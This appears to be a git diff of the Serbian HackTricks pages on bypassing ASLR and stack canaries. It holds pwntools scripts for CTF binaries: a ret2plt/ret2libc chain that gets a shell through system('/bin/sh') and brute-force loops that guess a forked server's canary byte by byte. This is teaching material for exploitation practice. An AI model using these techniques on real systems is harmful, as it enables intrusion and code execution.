* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
|
@ -16,14 +16,14 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## Osnovne Informacije
|
||||
|
||||
**Randomizacija rasporeda adresnog prostora (ASLR)** je tehnika bezbednosti korišćena u operativnim sistemima za **randomizaciju memorijskih adresa** koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču predviđanje lokacije određenih procesa i podataka, kao što su stek, hip i biblioteke, čime se umanjuje određene vrste eksploatacija, posebno prelivanje bafera.
|
||||
**Randomizacija rasporeda adresnog prostora (ASLR)** je sigurnosna tehnika korišćena u operativnim sistemima za **randomizaciju memorijskih adresa** koje koriste sistemski i aplikativni procesi. Na taj način, značajno otežava napadaču predviđanje lokacije određenih procesa i podataka, kao što su stek, hip i biblioteke, čime se umanjuje određene vrste eksploatacija, posebno prelivanje bafera.
|
||||
|
||||
### **Provera Statusa ASLR**
|
||||
|
||||
Da biste **proverili** status ASLR-a na Linux sistemu, možete pročitati vrednost iz fajla `/proc/sys/kernel/randomize_va_space`. Vrednost sačuvana u ovom fajlu određuje vrstu primenjene ASLR:
|
||||
|
||||
* **0**: Bez randomizacije. Sve je statično.
|
||||
* **1**: Konzervativna randomizacija. Deljeni biblioteki, stek, mmap(), VDSO stranica su randomizovani.
|
||||
* **1**: Konzervativna randomizacija. Deljenje biblioteka, stek, mmap(), VDSO stranica su randomizovani.
|
||||
* **2**: Potpuna randomizacija. Pored elemenata randomizovanih konzervativnom randomizacijom, memorija upravljana putem `brk()` je randomizovana.
|
||||
|
||||
Možete proveriti status ASLR-a pomoću sledeće komande:
|
||||
|
@ -43,7 +43,7 @@ setarch `uname -m` -R ./bin args
|
|||
```
|
||||
### **Omogućavanje ASLR-a**
|
||||
|
||||
Da biste **omogućili** ASLR, možete upisati vrednost **2** u datoteku `/proc/sys/kernel/randomize_va_space`. Obično je potrebno imati administratorske privilegije. Potpuna randomizacija može se postići sledećom komandom:
|
||||
Da biste **omogućili** ASLR, možete upisati vrednost **2** u datoteku `/proc/sys/kernel/randomize_va_space`. Obično je potrebno imati privilegije root korisnika. Potpuna randomizacija se može postići sledećom komandom:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
@ -71,7 +71,7 @@ PaX deli prostor adresa procesa u **3 grupe**:
|
|||
* **Memorija** alocirana pomoću `mmap()` i **deljeni biblioteke** —> **16 bitova**, nazvano `delta_mmap`.
|
||||
* **Stek** —> **24 bita**, nazvan `delta_stack`. Međutim, efektivno koristi **11 bitova** (od 10. do 20. bajta uključujući), poravnato na **16 bajtova** —> Ovo rezultira u **524,288 mogućih stvarnih adresa steka**.
|
||||
|
||||
Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava zaobilaženje ASLR-a pokušavanjem izvršenja iznova dok eksploatacija ne uspe.
|
||||
Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava zaobilaženje ASLR-a pokušavanjem izvršenja iznova i iznova dok eksploatacija ne uspe.
|
||||
|
||||
#### Ideje za brute-force:
|
||||
|
||||
|
@ -81,17 +81,34 @@ Prethodni podaci su za 32-bitne sisteme i smanjena konačna entropija omogućava
|
|||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Ako napadate udaljeni server, možete pokušati **bruteforce-ovati adresu `libc` funkcije `usleep`**, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku **odgovori sa 10s kašnjenja**, pronašli ste adresu ove funkcije.
|
||||
* Ako napadate udaljeni server, možete pokušati **bruteforce-ovati adresu `libc` funkcije `usleep`**, prosleđujući kao argument 10 (na primer). Ako server u nekom trenutku **odgovori sa dodatnih 10 sekundi**, pronašli ste adresu ove funkcije.
|
||||
|
||||
{% hint style="success" %}
|
||||
Na 64-bitnim sistemima entropija je mnogo veća i ovo nije moguće.
|
||||
{% endhint %}
|
||||
|
||||
### Lokalne informacije (`/proc/[pid]/stat`)
|
||||
|
||||
Datoteka **`/proc/[pid]/stat`** procesa uvek je čitljiva za sve i **sadrži zanimljive** informacije kao što su:
|
||||
|
||||
* **startcode** & **endcode**: Adrese iznad i ispod sa **TEXT** dela binarnog fajla
|
||||
* **startstack**: Adresa početka **steka**
|
||||
* **start\_data** & **end\_data**: Adrese iznad i ispod gde je **BSS**
|
||||
* **kstkesp** & **kstkeip**: Trenutne adrese **ESP** i **EIP**
|
||||
* **arg\_start** & **arg\_end**: Adrese iznad i ispod gde su **argumenti komandne linije**
|
||||
* **env\_start** & **env\_end**: Adrese iznad i ispod gde su **okružne promenljive**
|
||||
|
||||
Stoga, ako je napadač na istom računaru kao binarni fajl koji se eksploatiše i ovaj binarni fajl ne očekuje prekoračenje iz sirovih argumenata, već iz drugog **ulaza koji se može oblikovati nakon čitanja ove datoteke**. Moguće je da napadač **dobije neke adrese iz ove datoteke i konstruiše ofsete iz njih za eksploataciju**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Za više informacija o ovoj datoteci pogledajte [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) tražeći `/proc/pid/stat`
|
||||
{% endhint %}
|
||||
|
||||
### Imajući curenje
|
||||
|
||||
* **Izazov je imati curenje**
|
||||
* **Izazov je dati curenje**
|
||||
|
||||
Ako vam je dato curenje (jednostavni CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju `libc` koja se koristi u sistemu koji iskorišćavate). Ovaj primer eksploatacije je izvučen iz [**primera sa ovog mesta**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (proverite tu stranicu za više detalja):
|
||||
Ako vam je dato curenje (jednostavni CTF izazovi), možete izračunati ofsete iz njega (pretpostavljajući na primer da znate tačnu verziju libc koja se koristi u sistemu koji eksploatišete). Ovaj primer eksploatacije je izvučen iz [**primera sa ovog mesta**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (proverite tu stranicu za više detalja):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -121,7 +138,7 @@ p.interactive()
|
|||
Zloupotrebom preliva bafera bilo bi moguće iskoristiti **ret2plt** da bi se izvukla adresa funkcije iz libc-a. Proverite:
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt)
|
||||
[ret2plt.md](ret2plt.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Proizvoljno čitanje formatiranih stringova**
|
||||
|
@ -143,9 +160,9 @@ Možete pronaći više informacija o proizvoljnom čitanju formatnih stringova u
|
|||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2ret
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
Pokušajte zaobići ASLR zloupotrebom adresa unutar steka:
|
||||
Pokušajte da zaobiđete ASLR zloupotrebom adresa unutar steka:
|
||||
|
||||
{% content-ref url="../../stack-overflow/ret2ret.md" %}
|
||||
[ret2ret.md](../../stack-overflow/ret2ret.md)
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
## Osnovne informacije
|
||||
|
||||
Cilj ove tehnike bio bi da **procuremo adresu funkcije iz PLT-a** kako bismo mogli da zaobiđemo ASLR. Ovo je zato što ako, na primer, procurete adresu funkcije `puts` iz libc-a, možete onda **izračunati gde je baza `libc`-a** i izračunati ofsete za pristup drugim funkcijama poput **`system`**.
|
||||
Cilj ove tehnike bio bi **procuriti adresu funkcije iz PLT-a** kako biste mogli zaobići ASLR. Ovo je zato što ako, na primer, procurite adresu funkcije `puts` iz libc-a, možete zatim **izračunati gde je baza `libc`-a** i izračunati ofsete za pristup drugim funkcijama poput **`system`**.
|
||||
|
||||
Ovo se može uraditi sa `pwntools` payload-om kao što je ([**ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
|
@ -42,7 +42,7 @@ Primetite kako se **`puts`** (koristeći adresu iz PLT-a) poziva sa adresom `put
|
|||
Takođe primetite kako se adresa `main` koristi u eksploataciji tako da kada `puts` završi izvršavanje, **binarni fajl ponovo poziva `main` umesto izlaska** (tako da će procurila adresa i dalje biti validna).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Primetite kako je potrebno da **binarni fajl nije kompajliran sa PIE** ili morate imati **pronađenu curenje informacija da biste zaobišli PIE** kako biste znali adresu `PLT`, `GOT` i `main`.
|
||||
Primetite kako je potrebno da **binarni fajl ne bude kompajliran sa PIE** ili morate imati **pronađenu curenje informacija da biste zaobišli PIE** kako biste znali adresu `PLT`, `GOT` i `main`.
|
||||
{% endhint %}
|
||||
|
||||
Možete pronaći [**potpuni primer ovog zaobilaženja ovde**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Ovo je bio konačni eksploit iz tog primera:
|
||||
|
@ -81,16 +81,9 @@ p.sendline(payload)
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
## Ostali primeri & Reference
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bita, omogućen ASLR ali bez PIE-a, prvi korak je popuniti prelivanje do bajta 0x00 kanara, a zatim pozvati puts i procuriti ga. Sa kanarom se kreira ROP gedžet za pozivanje puts-a kako bi procurio adresu puts-a iz GOT-a, a zatim ROP gedžet za pozivanje `system('/bin/sh')`.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64 bita, omogućen ASLR, bez kanara, prelivanje steka u glavnoj funkciji iz podfunkcije. ROP gedžet za pozivanje puts-a kako bi procurio adresu puts-a iz GOT-a, a zatim pozvao jedan gedžet.
|
||||
|
|
|
@ -1,31 +1,83 @@
|
|||
# Zaštitni mehanizmi steka
|
||||
# Stack Canaries
|
||||
|
||||
**StackGuard** ubacuje posebnu vrednost poznatu kao **kanarinka** pre **EIP (Prošireni Pokazivač Instrukcija)**, specifično `0x000aff0d` (predstavlja null, novi red, EOF, povratak karijete) kako bi se zaštitili od preplavljivanja bafera. Međutim, funkcije poput `recv()`, `memcpy()`, `read()` i `bcopy()` ostaju ranjive, i ne štiti **EBP (Bazni Pokazivač)**.
|
||||
<details>
|
||||
|
||||
**StackShield** pristupa problemu na sofisticiraniji način od StackGuard-a održavajući **Globalni Stek Povratka**, koji čuva sve adrese povratka (**EIP-ove**). Ovaj setup osigurava da bilo koje preplavljivanje ne uzrokuje štetu, jer omogućava upoređivanje sačuvanih i stvarnih adresa povratka kako bi se otkrili slučajevi preplavljivanja. Dodatno, StackShield može proveriti adresu povratka u odnosu na granicnu vrednost kako bi otkrio da li **EIP** pokazuje van očekivanog prostora podataka. Međutim, ova zaštita može biti zaobiđena tehnikama poput Return-to-libc, ROP (Return-Oriented Programming) ili ret2ret, što ukazuje da StackShield takođe ne štiti lokalne promenljive.
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
## **Zaštitnik steka od preplavljivanja (ProPolice) `-fstack-protector`:**
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
Ovaj mehanizam postavlja **kanarinku** pre **EBP-a**, i reorganizuje lokalne promenljive tako da postavlja baufere na više memorijske adrese, sprečavajući ih da prepišu druge promenljive. Takođe bezbedno kopira argumente prosleđene na stek iznad lokalnih promenljivih i koristi ove kopije kao argumente. Međutim, ne štiti nizove sa manje od 8 elemenata ili baufere unutar strukture korisnika.
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
**Kanarinka** je slučajan broj dobijen iz `/dev/urandom` ili podrazumevana vrednost `0xff0a0000`. Čuva se u **TLS (Lokalnom Prostoru Niti)**, omogućavajući deljenje memorijskih prostora između niti sa niti-specifičnim globalnim ili statičkim promenljivima. Ove promenljive se prvobitno kopiraju iz roditeljskog procesa, a dečiji procesi mogu menjati svoje podatke bez uticaja na roditelja ili srodne procese. Ipak, ako se koristi **`fork()` bez kreiranja nove kanarinke, svi procesi (roditelj i deca) dele istu kanarinu**, čineći je ranjivom. Na arhitekturi **i386**, kanarinka se čuva na `gs:0x14`, a na **x86\_64**, na `fs:0x28`.
|
||||
</details>
|
||||
|
||||
Ova lokalna zaštita identifikuje funkcije sa baferima ranjivim na napade i ubacuje kod na početak ovih funkcija kako bi postavila kanarinu, i na kraju kako bi proverila njenu celovitost.
|
||||
## **StackGuard i StackShield**
|
||||
|
||||
Kada veb server koristi `fork()`, omogućava napad brute-force metodom da se pogađa kanarinka po bajtovima. Međutim, korišćenje `execve()` nakon `fork()` prebrisava memorijski prostor, poništavajući napad. `vfork()` omogućava dečijem procesu da izvršava bez dupliranja dok ne pokuša da piše, u tom trenutku se kreira duplikat, nudeći drugačiji pristup kreiranju procesa i upravljanju memorijom.
|
||||
**StackGuard** ubacuje posebnu vrednost poznatu kao **canary** pre **EIP (Extended Instruction Pointer)**, specifično `0x000aff0d` (predstavlja null, novi red, EOF, povratak karijete) kako bi se zaštitio od prelivanja bafera. Međutim, funkcije poput `recv()`, `memcpy()`, `read()` i `bcopy()` ostaju ranjive, i ne štiti **EBP (Base Pointer)**.
|
||||
|
||||
## Zaobiđavanje
|
||||
**StackShield** pristupa na sofisticiraniji način od StackGuard-a održavajući **Global Return Stack**, koji čuva sve povratne adrese (**EIP-ove**). Ova postavka osigurava da bilo kakvo prelivanje ne uzrokuje štetu, jer omogućava upoređivanje sačuvanih i stvarnih povratnih adresa radi otkrivanja prelivanja. Dodatno, StackShield može proveriti povratnu adresu u odnosu na granicnu vrednost kako bi otkrio da li **EIP** pokazuje van očekivanog prostora podataka. Međutim, ova zaštita može biti zaobiđena tehnikama poput Return-to-libc, ROP (Return-Oriented Programming) ili ret2ret, što ukazuje da StackShield takođe ne štiti lokalne promenljive.
|
||||
|
||||
**Procurenje kanarinke** a zatim prepisivanje njenom vrednošću (npr. preplavljivanje bafera).
|
||||
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
|
||||
|
||||
* Ako se **kanarinka forkuje u dečijim procesima**, možda je moguće **brute-force**-ovati je po jedan bajt:
|
||||
Ovaj mehanizam postavlja **canary** pre **EBP**, i reorganizuje lokalne promenljive tako da postavlja baufere na višim memorijskim adresama, sprečavajući ih da prepišu druge promenljive. Takođe sigurno kopira argumente prosleđene na stek iznad lokalnih promenljivih i koristi ove kopije kao argumente. Međutim, ne štiti nizove sa manje od 8 elemenata ili baufere unutar strukture korisnika.
|
||||
|
||||
**Canary** je slučajan broj izveden iz `/dev/urandom` ili podrazumevana vrednost `0xff0a0000`. Čuva se u **TLS (Thread Local Storage)**, omogućavajući deljenje memorijskih prostora između niti da imaju niti-specifične globalne ili statičke promenljive. Ove promenljive se prvobitno kopiraju iz roditeljskog procesa, a deca procesi mogu promeniti svoje podatke bez uticaja na roditelja ili srodne procese. Ipak, ako se koristi **`fork()` bez kreiranja novog canary-a, svi procesi (roditelji i deca) dele isti canary**, čineći ga ranjivim. Na **i386** arhitekturi, canary se čuva na `gs:0x14`, a na **x86\_64**, na `fs:0x28`.
|
||||
|
||||
Ova lokalna zaštita identifikuje funkcije sa baferima ranjivim na napade i ubacuje kod na početak ovih funkcija da postavi canary, i na kraju da proveri njegovu celovitost.
|
||||
|
||||
Kada veb server koristi `fork()`, omogućava napad brute-force da pogodi canary bajt po bajt. Međutim, korišćenje `execve()` nakon `fork()` prebrisava memorijski prostor, poništavajući napad. `vfork()` omogućava detetu procesu da izvrši bez dupliranja dok pokušava da piše, u tom trenutku se kreira duplikat, nudeći drugačiji pristup kreiranju procesa i upravljanju memorijom.
|
||||
|
||||
### Dužine
|
||||
|
||||
U `x64` binarnim fajlovima, canary kolačić je **`0x8`** bajt qword. **Prva sedam bajtova su slučajni** i poslednji bajt je **null bajt**.
|
||||
|
||||
U `x86` binarnim fajlovima, canary kolačić je **`0x4`** bajt dword. **Prva tri bajta su slučajna** i poslednji bajt je **null bajt**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Najmanje značajan bajt oba canary-a je null bajt jer će biti prvi na steku dolazeći sa nižih adresa i stoga **funkcije koje čitaju stringove će prestati sa čitanjem pre njega**.
|
||||
{% endhint %}
|
||||
|
||||
## Bypasses
|
||||
|
||||
**Procurenje canary-a** a zatim prepisivanje njega (npr. prelivanje bafera) sa njegovom sopstvenom vrednošću.
|
||||
|
||||
* Ako je **canary forkovan u dečijim procesima** možda je moguće **brute-force**-ovati ga po jedan bajt:
|
||||
|
||||
{% content-ref url="bf-forked-stack-canaries.md" %}
|
||||
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Ako postoji neka interesantna ranjivost procurivanja u binarnom fajlu, možda je moguće procuriti je:
|
||||
* Ako postoji neka zanimljiva **procena ili proizvoljna ranjivost čitanja** u binarnom fajlu možda je moguće procuriti:
|
||||
|
||||
{% content-ref url="print-stack-canary.md" %}
|
||||
[print-stack-canary.md](print-stack-canary.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Prepisivanje pokazivača smeštenih na steku**
|
||||
|
||||
Stek ranjiv na prelivanje steka može **sadržati adrese ka stringovima ili funkcijama koje mogu biti prepisane** kako bi se iskoristila ranjivost bez potrebe da se dođe do stack canary-a. Proverite:
|
||||
|
||||
{% content-ref url="../../stack-overflow/pointer-redirecting.md" %}
|
||||
[pointer-redirecting.md](../../stack-overflow/pointer-redirecting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# BF Forked Stack Canaries
|
||||
# BF Forked & Threaded Stack Canaries
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
</details>
|
||||
|
||||
**Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE-om (Position Independent Executable), verovatno ćete morati da pronađete način da ih zaobiđete.**
|
||||
**Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE (Position Independent Executable) verovatno ćete morati da pronađete način da ih zaobiđete.**
|
||||
|
||||
![](<../../../../.gitbook/assets/image (144).png>)
|
||||
|
||||
|
@ -25,13 +25,13 @@ Međutim, možete ručno primetiti ovo ako primetite da je vrednost sačuvana na
|
|||
|
||||
## Brute force kanarinca
|
||||
|
||||
Najbolji način zaobići jednostavan kanarinac je ako je binarni program **forkovanje dječijih procesa svaki put kada uspostavite novu vezu** sa njim (mrežna usluga), jer će se **svaki put kada se povežete sa njim koristiti isti kanarinac**.
|
||||
Najbolji način zaobići jednostavan kanarinac je ako je binarni fajl program koji **forkuje dečje procese svaki put kada uspostavite novu konekciju** sa njim (mrežna usluga), jer će se svaki put kada se povežete **koristiti isti kanarinac**.
|
||||
|
||||
Zatim, najbolji način zaobići kanarinac je jednostavno **brute-force-ovati ga karakter po karakter**, i možete saznati da li je pogodak tačan proverom da li je program pao ili nastavlja svoj redovan tok. U ovom primeru funkcija **brute-force-uje 8 bajtova kanarinca (x64)** i razlikuje između tačno pogodjenog bajta i lošeg bajta samo **proverom** da li je **odgovor** poslat od strane servera (drugi način u **drugim situacijama** može biti korišćenje **try/except**):
|
||||
Zatim, najbolji način zaobići kanarinac je jednostavno **brute-force-ovati ga karakter po karakter**, i možete saznati da li je pretpostavljeno bajt kanarinca tačan proverom da li je program pao ili nastavlja svoj redovan tok. U ovom primeru funkcija **brute-force-uje 8 bajtova kanarinca (x64)** i razlikuje između tačno pretpostavljenog bajta i lošeg bajta samo **proverom** da li je **odgovor** poslat od strane servera (na drugi način u **drugim situacijama** moglo bi se koristiti **try/except**):
|
||||
|
||||
### Primer 1
|
||||
|
||||
Ovaj primer je implementiran za 64 bita ali se lako može implementirati i za 32 bita.
|
||||
Ovaj primer je implementiran za 64 bita ali se lako može implementirati za 32 bita.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -73,7 +73,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|||
### Primer 2
|
||||
|
||||
Ovo je implementirano za 32 bita, ali se lako može promeniti na 64 bita.\
|
||||
Takođe, obratite pažnju da ovaj primer **očekuje da prvo bude jedan bajt koji označava veličinu unosa** i sam payload.
|
||||
Takođe, obratite pažnju da ovaj primer **očekuje da program prvo dobije bajt koji označava veličinu unosa** i sam payload.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -114,4 +114,11 @@ target = process('./feedme')
|
|||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
## Niti
|
||||
|
||||
Niti istog procesa će takođe **deliti isti canary token**, stoga će biti moguće **brute-force**-ovati canary ako binarni fajl pokrene novu nit svaki put kada se desi napad. 
|
||||
|
||||
## Ostali primeri & reference
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bita, bez PIE-a, nx, BF canary, upisati u neku memoriju ROP za poziv `execve` i skočiti tamo.
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
@ -22,13 +22,16 @@ Nakon toga, napadač **poziva funkcionalnost puts** na sredini payload-a koja ć
|
|||
|
||||
Sa ovim informacijama, napadač može **kreirati i poslati novi napad** znajući canary (u istoj sesiji programa).
|
||||
|
||||
